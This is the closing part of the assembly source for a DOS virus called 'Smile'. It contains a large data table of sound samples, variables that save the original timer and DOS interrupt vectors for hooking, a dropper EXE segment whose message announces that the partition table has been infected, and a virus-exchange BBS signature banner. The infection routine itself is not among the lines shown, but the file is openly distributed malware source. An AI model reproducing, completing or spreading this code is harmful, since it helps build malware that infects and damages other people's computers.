		db	  7,  2, 57,207, 12,113,198, 56,249,193,220,115,  7,  3,225,240
		db	 30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142
		db	 49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30,  7,145
		db	249, 14,  1,224, 61,131,240,115, 14, 65,248,121,  7,160,230, 63
		db	195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115
		db	135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113
		db	156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127
		db	 15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152
		db	 61,  6,120,207,  3,248,158,  7,240, 62, 67,224,124, 15,224,252
		db	143,192,241, 31,129,226, 62,  7,192,252, 31,129,248, 63,  7,240
		db	124, 15,193,248, 63,  7,224,254, 31,193,248, 63,  7,240,254, 15
		db	193,252, 63,131,240, 63,  7,224,126, 31,193,252, 63,131,248,190
		db	  7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120
		db	227, 14, 48,248, 15,128,252, 31,195,248,103,  3,241,220,  7,195
		db	248,127,135,240,126, 15,224,252, 31,129,248, 63,  7,240,120, 15
		db	128,240, 63, 15,224,254, 31,193,248, 31,  3,225,246, 31,195,220
		db	 63,131,240, 63,131,224,126,  7,224,252, 31,195,252, 62,  7,248
		db	124, 15,177,248, 15,  3,240,254,  7,128,248, 15,  1,248, 30,  7
		db	192,124, 15,129,242, 59,131,192,116, 30,  3,232,126,  7,224,254
		db	  7,192,252,103,  3,152,244, 23,  3,224, 60,  7,194,188,  7,129
		db	252, 47,  7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15
		db	  1,248, 31,135,240,255, 15,225,248, 31,131,248,124,  3,240,124
		db	 15,129,240, 31,  3,224,125,  7,160,126, 15,192,230, 28,227,136
		db	120,  7,176,244, 30,193,240, 61,  7,176,246, 14,  1,200, 28,  3
		db	128, 60,  7,134,120, 79,129,248,127,  7,230,120,199,152,225, 14
		db	115,192, 57,199, 28,115,  7, 25,254, 78,231, 59,221,200, 15,204
		db	156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147
		db	114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136
		db	159,176,  7,254,  1,127,192, 31,252,  1,255,128, 31,230, 65,254
		db	  0,127,216, 19,254,  1,127, 32, 15,248,  1,255,192, 31,248,  3
		db	254,  0,255,192, 31,248,  1,255,128, 31,224,  7,252,  9,190, 96
		db	 15,236,  9,255,  0,159,176,  7,251,  2,127,128, 31,216, 11,252
		db	129,191,144, 15,252,  3,255,128, 63,228, 13,254,  0,255,240,  7
		db	254,  1,191,192, 31,252,  1,255,  0,127,248, 19,127,129, 63,228
		db	 15,254,  0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201
		db	191,224, 25,179, 32, 79,236,137,255,192, 79,254,  0,255,200, 23
		db	249, 32,155,108,130,102, 76,200,204,222,  4,166,251, 19, 32, 31
		db	236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166
		db	219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201
		db	153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66
		db	123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54
		db	108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108
		db	147, 51, 33,147,108,200,155,177, 37,179,102,  3,237,140,154,136
		db	155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79
		db	252,  4,255,128, 63,240,  7,255, 19,119,233, 19, 51, 34, 55,120
		db	  2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216,  7
		db	243, 19,124,204,137,190,  3,246,115, 51, 38,100,219, 96, 59, 62
		db	 68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19
		db	236,131,127,241,  3,252,205,222, 25,153,255,145, 62,  3,102, 76
		db	217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196
		db	 27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79
		db	100,178,100,205,143,236, 25,147,120,129,248,  3,252,146,220,132
		db	216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147
		db	 38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179
		db	 97,230,109,147,110, 38,121, 48,227, 64,204,198,  7, 14,108, 76
		db	184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104
		db	243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54
		db	126, 89, 60,217,102,195, 39,131, 79,  7,156, 38,121, 48,112,217
		db	225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108
		db	 61,200,134, 79, 46,192,221,  3,255, 17,240,255,240, 62, 13,254
		db	 19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194
		db	120, 63,  1,248,188, 15,113,116, 27,  7, 51,204,115, 30,230, 59
		db	133,241, 60,  7,145,236,206,195,184,222,  3,137,242, 60,140, 99
		db	228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63,  7,216
		db	254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135
		db	198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204
		db	 19,141,195, 56,143,129,252,  7,167,241, 61,140,225,156,  3,136
		db	114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23,  1,248,198
		db	 48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217
		db	253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187,  6
		db	244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100
		db	147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109
		db	130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39
		db	152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243
		db	 46, 49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129
		db	144, 25,135,185,156, 63,152,202, 59,135, 55,137,230,122,108,220
		db	 61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105
		db	246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157
		db	159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240
		db	237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115
		db	140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206
		db	 97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230,  6
		db	227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60
		db	199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33
		db	205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140
		db	205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14
		db	134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156
		db	159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163
		db	137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26
		db	 56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27
		db	147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131
		db	179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48
		db	 11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102
		db	103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153
		db	147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123
		db	 22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102
		db	 23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140
		db	 54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102
		db	120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51
		db	 13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227
		db	 28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25
		db	108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199
		db	 28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200
		db	 54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227
		db	135, 28,120,227,  6, 24,115,139, 56, 56,199,134, 56,115,199, 60
		db	153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115
		db	 51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231
		db	150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12
		db	 32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224
		db	252,216,103, 30, 71,205,131,  1,204,217,145,114, 60, 62,125, 60
		db	 31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104
		db	226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199
		db	 28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121
		db	159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178
		db	204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77
		db	153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156
		db	 99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236
		db	198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60
		db	223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19
		db	 36, 67,223,102,199, 92,102,131,  4,100,115,126,236,214, 48,108
		db	 77,191,204,  6,124,253,152, 32,255,136, 78,243,128,127,240, 59
		db	255,  0, 63,252, 15,251,192, 31,254,  3,255,192, 31,254,  3,255
		db	192, 63,252, 15,127,  0,127,240,  3, 16,  7,255,240, 32, 15,251

SampleEnd	equ	this byte

;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------

Active		db	-1
ActiveYear	dw	-1
ActiveDate	dw	-1

OldInt8		equ	this dword		; orginal interrupt 8
OldInt8o	dw	-1
OldInt8s	dw	-1
OldInt1C	equ	this dword		; orginal interrupt 1ch
OldInt1Co	dw	-1
OldInt1Cs	dw	-1
OldInt21	equ	this dword		; orginal interrupt 21h
OldInt21o	dw	-1
OldInt21s	dw	-1

Count		dw	-1			; timer count
SampleOffset	dw	-1			; Used to make sound
SampleBit	db	-1
SampleFlag	db	-1
Handle		db	24 dup(-1)		; Filehandles

cseg ends

;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------

mseg segment public 'code'
		assume	cs:mseg, ds:mseg, es:mseg


		db	'MZ'			; header
		dw	PrgSize			; PartPage
		dw	1			; PageCount
		dw	0			; relocation items = 0
		dw	0			; headersize = 0h
		dw	80h			; minimum memory
		dw	0ffffh			; maximum memory
		dw	(PrgSize+15)/10h	; ss
		dw	7feh			; sp
		dw	0			; chksum
		dw	offset Orginal		; ip
		dw	0			; cs
		dw	1ch			; offset relocation table
		dw	0			; overlay number

Orginal:	mov	ah,9			; display warning
		push	cs
		pop	ds
		mov	dx,offset Warning
		int	21h
		mov	ax,4c00h
		int	21h			; terminate

Warning		db	13,10
		db	'WARNING:',13,10
		db	13,10
		db	'Smile virus has now infected the partition table !!!!!',13,10
		db	13,10
		db	'$'

mseg ends

sseg segment stack 'stack'
		db	800h dup(?)
sseg ends

end Main

;  �������������������������������������������������������������������������
;  ��������������������> and Remember Don't Forget to Call <����������������
;  ������������> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <����������
;  �������������������������������������������������������������������������